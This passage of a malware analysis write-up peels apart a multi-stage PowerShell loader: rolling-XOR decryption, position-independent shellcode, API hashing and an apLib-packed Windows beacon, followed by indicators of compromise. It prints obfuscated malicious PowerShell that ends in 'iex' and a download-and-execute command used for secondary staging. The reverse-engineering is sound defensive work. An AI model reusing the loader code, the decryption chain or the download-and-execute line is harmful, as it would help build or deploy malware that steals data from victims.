key += calc_char(payload)

print(key)
1
2
$ python3 get_key.py 
AMSI_RESULT_NOT_DETECTED

And the payload can be decoded:

1
2
3
4
5
6
7
8
9
10
$ base64 -d base64_payload > xored_payload
$ xortool-xor -f xored_payload -r "AMSI_RESULT_NOT_DETECTED" > decoded_stage3.unk
$ file decoded_stage3.unk
decoded_stage3.unk: ASCII text, with very long lines (65508), with CRLF line terminators
$ more decoded_stage3.unk
Set-StrictMode -Version 2;
$wxttkubxdswi=(-join[char[]]@(108,101,0x6e,103,116,104));$oabltimqxic877=[type](-join[char[]]@(98,121,116,101,0x5b,93));$jpfoeksx4v3mwd9o=[type](-join[char[]]@(116,104,114,101,97,100,105,0x6e,103,46,116,104,114,0x65,97,0x64));$xueslkt
qkm930=(-join[char[]]@(115,0x6c,101,0x65,112));$lh7cukc30mvi2nymkb=[type](-join[char[]]@(0x63,104,0x61,0x72,91,93));$lqypwoemzkn832=&{param([byte[]]$x)$x}(@(0x52,0xff,0x37,0x78,0x38,0x7c,0xfc,0x89,0xd8,0x11,0x68,0x0c,0xd8,0x71,0xac,0x
88,0x72,0x77,0x4f,0x61,0x5a,0x83,0xa8,0xc9,0xc0,0x09,0xa1,0x08,0xdb,0x7c,0xc8,0x8f));$ewzdxbkqqtitlz009=(87);$lizniwwnnksxyuxd=(512/2);$gxslrtby137=&{param([byte[]]$x)$x}(@(0xb9,0x2c,0x00,0x90,0x5a,0x3f,0xd1,0x2e,0x23,0x6d,0x4c,0x06,0
xbc,0x51,0xa6,0x65,0xa1,0x83,0x32,0xc0,0x3a,0x88,0x45,0x59,0x

Well, lets deobfuscate, again…

Chapter III - Sub, XOR, Execute

First, this script powershell revsolve some strings:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$wxttkubxdswi = (-join [char[]]@(108,101,0x6e,103,116,104))
# "length" → used to access the .Length property of arrays

$oabltimqxic877 = [type](-join [char[]]@(98,121,116,101,0x5b,93))
# [byte[]] → byte array type, used for intermediate buffers

$jpfoeksx4v3mwd9o = [type](-join [char[]]@(116,104,114,101,97,100,105,0x6e,103,46,116,104,114,0x65,97,0x64))
# [System.Threading.Thread] → used to call Thread.Sleep

$xueslktqkm930 = (-join [char[]]@(115,0x6c,101,0x65,112))
# "sleep" → Thread.Sleep() method name

$lh7cukc30mvi2nymkb = [type](-join [char[]]@(0x63,104,0x61,0x72,91,93))
# [char[]] → character array, used to convert byte[] into a string

Then it define some constants:

1
2
3
$KEY=&{param([byte[]]$x)$x}(@(0x52,0xff,0x37,0x78,0x38,0x7c,0xfc,0x89,0xd8,0x11,0x68,0x0c,0xd8,0x71,0xac,0x88,0x72,0x77,0x4f,0x61,0x5a,0x83,0xa8,0xc9,0xc0,0x09,0xa1,0x08,0xdb,0x7c,0xc8,0x8f));
$int_87=(87);
$int_256=(512/2);

At this stage, the decoding logic unfolds through several loops: each byte is first adjusted by a fixed subtraction, then passed through a rolling XOR routine.
Here’s a cleaned-up version of the script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Set-StrictMode -Version 2;

$length=(-join[char[]]@(108,101,0x6e,103,116,104));
$byte_array=[type](-join[char[]]@(98,121,116,101,0x5b,93));
$System.Threading.Thread=[type](-join[char[]]@(116,104,114,101,97,100,105,0x6e,103,46,116,104,114,0x65,97,0x64));
$sleep=(-join[char[]]@(115,0x6c,101,0x65,112));
$char_array=[type](-join[char[]]@(0x63,104,0x61,0x72,91,93));
$KEY=&{param([byte[]]$x)$x}(@(0x52,0xff,0x37,0x78,0x38,0x7c,0xfc,0x89,0xd8,0x11,0x68,0x0c,0xd8,0x71,0xac,0x88,0x72,0x77,0x4f,0x61,0x5a,0x83,0xa8,0xc9,0xc0,0x09,0xa1,0x08,0xdb,0x7c,0xc8,0x8f));
$int_87=(87);
$int_256=(512/2);
$encoded_payload=&{param([byte[]]$x)$x}(@(0xb9,0x2c,0x00,0x90,0x5a,0x3f,0xd1,0x2e,0x23,0x6d,0x4c,0x06,0xbc,0x51,0xa6,0x65,0xa1,0x83,0x32,0xc0,0x3a,0x88,0x45,0x59,0xe6,0xb9,0x66,0x6d,0x95,0x71,0x5f,0x2a,0x43,0x37,0xc4,0x86,0xf9,0xc3,0xf3,0x51,0xd7,0xa9,0x89,0x30,0xa3,0x69,0xf1,0x39,0x2f,0x23,0xb3,0x0f,......)

$sub_payload=$byte_array::new($encoded_payload.($length));

# Fixed substraction
for($ctr=(0);$ctr-lt$encoded_payload.($length);$ctr++)
{
$sub_payload[$ctr]=[byte](($encoded_payload[$ctr]-$int_87+$int_256)%$int_256)
};

$final_payload=$byte_array::new($sub_payload.($length));

# Xor with rolling key
for($ctr=(0);$ctr-lt$sub_payload.($length);$ctr++){
$vpspycjtrboecx=$ctr%$KEY.($length);
$final_payload[$ctr]=[byte]($sub_payload[$ctr]-bxor$KEY[$vpspycjtrboecx]);
$KEY[$vpspycjtrboecx]=($KEY[$vpspycjtrboecx]+$sub_payload[$ctr])-band($int_256-(3-2))
};

$System.Threading.Thread::$sleep((154-4));

$executable_payload=-join(&{param([char[]]$x)$x}($final_payload[(80/2)..($final_payload.($length)-(9)-(3-2))]));

$System.Threading.Thread::$sleep((63-10));

iex $executable_payload

Based on this script, the next stage can be decoded:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python3

from payloadstage3 import payload

key = [0x52,0xff,0x37,0x78,0x38,0x7c,0xfc,0x89,0xd8,0x11,0x68,0x0c,0xd8,0x71,0xac,0x88,0x72,0x77,0x4f,0x61,0x5a,0x83,0xa8,0xc9,0xc0,0x09,0xa1,0x08,0xdb,0x7c,0xc8,0x8f]
sub_seed = 87

def sub_routine():
sub_payload = []
for ctr in range(0,len(payload)):
sub_payload.append((payload[ctr]-sub_seed+256)%256)
return sub_payload

def xor_roll():
sub_payload = sub_routine()
final_payload = []
for ctr in range(len(sub_payload)):
key_index = ctr % len(key)
final_payload.append(sub_payload[ctr] ^ key[key_index])
key[key_index] = (key[key_index] + sub_payload[ctr]) & (256 - 1)
return final_payload

final_payload = bytes(xor_roll())

# $executable_payload=-join(&{param([char[]]$x)$x}($final_payload[(80/2)..($final_payload.($length)-(9)-(3-2))]));
open("stage4.unk","wb").write(final_payload[40:-10])

Here is the stage4 file, and yes … as you probably guessed by now … it’s obfuscated PowerShell. Again…

1
2
3
4
5
6
$ file stage4.unk 
stage4.unk: ASCII text, with very long lines (65536), with no line terminators
$ more stage4.unk
$uobqyatdovrkis=[Runtime.InteropServices.Marshal];function zpnleodfeubvlx{param([IntPtr]$m68y7fj1a0lqb5,[string]$ssodw7jaa8hf51z);$heqpnkoahvpvhdac=$uobqyatdovrkis::ReadInt32([IntPtr]::Add($m68y7fj1a0lqb5,0x3C));$fjrwmvcqsfvgjndcw=[In
tPtr]::Add($m68y7fj1a0lqb5,$heqpnkoahvpvhdac);$uqxxtyrezwucgwi428=[IntPtr]::Add($fjrwmvcqsfvgjndcw,0x18);$wepqsru613=$uobqyatdovrkis::ReadInt16($uqxxtyrezwucgwi428);$ckmponxseprlxq357=if($wepqsru613-eq0x20B){0x70}else{0x60};$w3mdw23pd
rux5=$uobqyatdovrkis::ReadInt32([IntPtr]::Add($uqxxtyrezwucgwi428,$ckmponxseprlxq357));if($w3

Chapter IV - The loader & the shellcode

Looking at the beginning of the stage4 script, all signs seem to point toward a loader! which means we may (hopefully) be at the end of our misery!

1
2
3
4
5
6
7
8
9
 $uobqyatdovrkis=[Runtime.InteropServices.Marshal] 
...
$abtvtqqhjtogqk=[Diagnostics.Process]::GetCurrentProcess();
...
foreach($iwbxzlomtbxt in $abtvtqqhjtogqk.Modules){if($iwbxzlomtbxt.ModuleName-eq(-join@('n','t','d','l','l','.','d','l','l'))){$jjoaeoikjzuyvpe=$iwbxzlomtbxt.BaseAddress};
if($iwbxzlomtbxt.ModuleName-eq(-join@('k','e','r','n','e','l','3','2','.','d','l','l'))){$z35hzl9pnytp26=$iwbxzlomtbxt.BaseAddress};
...
$nvaeuwwr693=[byte[]]@(0x59,0xd6,0x28,0xd5,0x81,0xfa,0x20,0x12,0x59,0x55,0x67,0xea,0x7a,0x4b,0x63,0xf3,0x8b,0xa3,0x90,0xfb,0x15,0xf1,0xce,0xd2.... up to 350+Kb..
...

Let’s go and find the decryption routines:

1
2
3
4
5
for($mrxyhujwuekoknkan=0; $mrxyhujwuekoknkan-lt$nvaeuwwr693.Length; $mrxyhujwuekoknkan++){
$uafuao9lr9khy=$mrxyhujwuekoknkan%$yknabkecz010.Length;
$qyrudhg933[$mrxyhujwuekoknkan]=$nvaeuwwr693[$mrxyhujwuekoknkan]-bxor$yknabkecz010[$uafuao9lr9khy];
$yknabkecz010[$uafuao9lr9khy]=($yknabkecz010[$uafuao9lr9khy]+$nvaeuwwr693[$mrxyhujwuekoknkan])-band0xFF
};

The algorithm closely matches the previous decryption stage, except the subtraction step has been removed, leaving only a rolling XOR with a hardcoded key.

Once again, a python script can help to decrypt the payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3

from payloadstage4 import payload

key = [0xb1,0x60,0x35,0xd4,0x81,0xfa,0x90,0x10,0x59,0x78,0x7a,0xeb,0x7a,0x42,0x3e,0xc6,0x16,0x7b,0xc8,0x47,0xd6,0x13,0x7b,0x47,0xac,0x52,0x46,0x1d,0x2a,0x3e,0x00,0x61]

def xor_roll():
final_payload = []
for ctr in range(len(payload)):
key_index = ctr % len(key)
final_payload.append(payload[ctr] ^ key[key_index])
key[key_index] = (key[key_index] + payload[ctr]) & 0xFF
return final_payload

final_payload = bytes(xor_roll())

open("stage5.unk","wb").write(final_payload)

Given that the PowerShell script appears to be a dynamic loader, the decoded payload is likely a shellcode.

1
2
3
4
5
6
7
$ file stage5.unk 
stage5.unk: data
$ head stage5.unk |xxd
00000000: e8b6 1d01 0000 b002 002d 1d01 0009 5d35 .........-....]5
00000010: 9dd8 58bc c3e2 b595 6b9a 7f1b c637 d25e ..X.....k....7.^
00000020: 9c92 a437 2595 8e30 7431 94e9 759e 4a72 ...7%..0t1..u.Jr
00000030: 43b2 370c 36a9 a43e 30d2 50ef 4f81 b930 C.7.6..>0.P.O..0

Indeed, e8xxxxxx sounds like PIC shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ rasm2 -d "e8b61d0100" -a x86
call 0x11dbb
$ r2 -q -c "s 0x11dbb; pd 20" stage5.unk
0x00011dbb 59 pop rcx
0x00011dbc 5a pop rdx
0x00011dbd 51 push rcx
0x00011dbe 52 push rdx
0x00011dbf 55 push rbp
0x00011dc0 53 push rbx
0x00011dc1 57 push rdi
0x00011dc2 56 push rsi
0x00011dc3 81ec98000000 sub esp, 0x98
0x00011dc9 8d442434 lea eax, [rsp + 0x34]
0x00011dcd 31f6 xor esi, esi
0x00011dcf 31ed xor ebp, ebp
0x00011dd1 31d2 xor edx, edx
0x00011dd3 832000 and dword [rax], 0

At this point, the call‑pop pattern leaves little doubt: we’re dealing with position‑independent shellcode carrying its own encrypted or encoded payload.

After a closer analysis, the shellcode performs the following steps:

  1. PEB walking, as identified by the following instruction sequence:

    1
    2
    3
    4
    00011e00  mov eax, fs:[0x18]   ; EAX = TEB (Thread Environment Block)
    00011e06 mov eax, [eax+0x30] ; EAX = PEB (Process Environment Block)
    00011e29 mov ecx, [eax+0x0c] ; ECX = PEB->Ldr (PEB_LDR_DATA)
    00011e2c add ecx, 0x0c ; ECX = &Ldr->InLoadOrderModuleList
  2. API resolution via hashing

The shellcode resolves Windows APIs by hashing exported function names and comparing them against hardcoded constants.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
00011ec7  mov edx, 0x6c6c6a62  ; seed = "bjll" = 0x6C6C6A62
00011ecc sub ebp, 1 ; ctr--
00011ecf jb done
00011ed1 movzx esi, byte [edi+ebp] ; char = name[i]
00011ed4 imul edx, edx, 0x1f ; hash = hash * 31
00011ed7 add ecx, 0x20 ;
00011eda or esi, 0x20 ; char |= 0x20 (lowercase)
00011edd add edx, esi ; hash += char
00011edf mov edx, esi
00011ee1 jmp loop
...
00011ee1 81fa6c1aa791 cmp edx, 0x91a71a6c
00011ee7 744c je 0x11f35
00011ee9 81fa465c31e8 cmp edx, 0xe8315c46
00011eef 744a je 0x11f3b
00011ef1 81faef2bdd68 cmp edx, 0x68dd2bef
00011ef7 8d7c2420 lea edi, [esp+0x20 {var_90}]
00011efb 7442 je 0x11f3f
00011efd 81fa555c7b1d cmp edx, 0x1d7b5c55
00011f03 741e je 0x11f23
00011f05 81fa4ed90c35 cmp edx, 0x350cd94e
00011f0b 7422 je 0x11f2f
00011f0d 81fa19d2d73d cmp edx, 0x3dd7d219
00011f13 7414 je 0x11f29
00011f15 81faaae1f013 cmp edx, 0x13f0e1aa
00011f1b 7526 jne 0x11f43

This can be confirmed using a simple Python script to reproduce the hashing routine and most likely API names:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def api_hash(name, seed=0x6C6C6A62):
h = seed
for c in name:
h = (h * 0x1F) & 0xFFFFFFFF # IMUL 0x1F
h = (h + (ord(c) | 0x20)) & 0xFFFFFFFF # + lowercase(char)
return hex(h)

API_list = ["VirtualAlloc", "VirtualAllocEx", "VirtualProtect", "VirtualFree",
"CreateThread", "CreateRemoteThread", "LoadLibraryA", "LoadLibraryW",
"GetProcAddress", "GetModuleHandleA", "GetModuleHandleW",
"ExitProcess", "ExitThread", "NtAllocateVirtualMemory"]

for api in API_list:
print("{} => {}".format(api,api_hash(api)))

The resulting hashes are shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
VirtualAlloc => 0x91a71a6c
VirtualAllocEx => 0xc44a3c1f
VirtualProtect => 0xe8315c46
VirtualFree => 0x1d7b5c55
CreateThread => 0x4c76e968
CreateRemoteThread => 0x931596ae
LoadLibraryA => 0x350cd94e
LoadLibraryW => 0x350cd964
GetProcAddress => 0x13f0e1aa
GetModuleHandleA => 0x3dd7d219
GetModuleHandleW => 0x3dd7d22f
ExitProcess => 0x68dd2bef
ExitThread => 0xc799508a
NtAllocateVirtualMemory => 0x90daf507

As expected, multiple hashes line up perfectly with the values observed in the shellcode and cmp instructions.

  1. Decoded data blob via rolling XOR

The shellcode operates on data embedded at the beginning of the payload, right after the initial call instruction used to retrieve the current address.
It first extracts two integers (offsets 0x00 and 0x04) and passes them directly to VirtualAlloc, indicating they are likely size-related metadata.

Then we can identify a XOR loop using the data at offset 0x08 used as a 128 byte xor key:

1
2
3
4
5
6
0001201d  89c1               mov     ecx, eax
0001201f 83e17f and ecx, 0x7f
00012022 8a4c0d08 mov cl, byte [ebp+ecx+0x8]
00012026 300c03 xor byte [ebx+eax], cl
00012029 40 inc eax
0001202a ebed jmp 0x12019

Once again, let’s fire a python script:

1
2
3
4
5
6
7
8
data = open("stage5.unk", "rb").read()

key = data[0x0D:0x0D+128] # XOR key
encrypted = data[0x8E:0x8E+73005] # encrypted payload and potential size ?

decrypted = bytes([encrypted[i] ^ key[i & 0x7F] for i in range(len(encrypted))])

open("stage5output","wb").write(decrypted)

And …

1
2
3
4
5
6
7
8
9
10
11
12
$ file stage5output 
stage5output: data
$ xxd stage5output |more
00000000: 4d38 5a90 3803 6602 0409 71ff 81b8 c291 M8Z.8.f...q.....
00000010: 0140 c215 c6e0 0b1c 0e1f baf8 00b4 09cd .@..............
00000020: 21b8 014c 8054 6801 6973 2070 726f 67cc !..L.Th.is prog.
00000030: 616d f063 e86e e3e9 74dc 6265 e7f9 75e7 am.c.n..t.be..u.
00000040: a369 0e06 444f 5380 6d6f 6465 2e71 0d29 .i..DOS.mode.q.)
00000050: 0a24 6880 1af5 a735 5e94 2bc9 6604 012a .$h....5^.+.f..*
00000060: 15cd 675c 5308 cfc2 5f19 c8e1 5357 208e ..g\S..._...SW .
00000070: 8c74 11d3 081d cc67 4367 ca84 5f32 cb18 .t.....gCg.._2..
00000080: 5269 2863 6840 e15f b810 5045 0e4c 0104 Ri(ch@._..PE.L..

At first glance, the decrypted output looks very close to a valid MZ / DOS header…

After some research into common lossless compression algorithms and malware packing techniques, and random decompression tests… It turns out the payload is compressed using apLib.

1
2
3
4
5
6
>>> import aplib
>>> compressed = open("stage5output", "rb").read()
>>> decompressed = aplib.decompress(compressed)
>>> open("stage5decompressed.bin","wb").write(decompressed)
176128
>>>

Noice, the size corresponds to the integer in the shellcode metadata!

1
2
3
4
5
6
>>> import aplib
>>> compressed = open("stage5output", "rb").read()
>>> decompressed = aplib.decompress(compressed)
>>> open("stage5decompressed.bin","wb").write(decompressed)
176128
>>>

Here we are:

1
2
3
4
$ file stage5decompressed.bin 
stage5decompressed.bin: PE32 executable (GUI) Intel 80386, for MS Windows, 4 sections
$ sha256sum stage5decompressed.bin
b3f9cca6ae8c990692fc02f7a3c08a7e8ae5b54db131bbf2963f80592be94910 stage5decompressed.bin

Chapter V - The final beacon

Reversing the beacon allow to identify C2 IP and some behavior:

Type Value
C2 IP 146.103.109.239
Staging Domain *.packet-691-router5-matrix.in.net
Protocol Marker GETWELLV2
Initial Delivery jsdelivr CDN
Hash (Beacon) b3f9cca6ae8c990692fc02f7a3c08a7e8ae5b54db131bbf2963f80592be94910

Evasion Techniques

  • SNI Spoofing: TLS handshake advertises legitimate domains (e.g., ntp.msn.com) while TCP connects to actual C2 IP
  • Heaven’s Gate: Switches between 32/64-bit execution to evade userland hooks and confuse debuggers
  • NtDelayExecution: Uses native API for sleep, avoiding Sleep() API monitoring

Communication Protocol

  • Initial beacon sends JSON fingerprint (hostname, username, OS, process list, installed AV)
  • Exfiltration via chunked HTTPS POST requests

Secondary Staging

  • Embedded PowerShell for additional payload delivery:
    1
    -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('...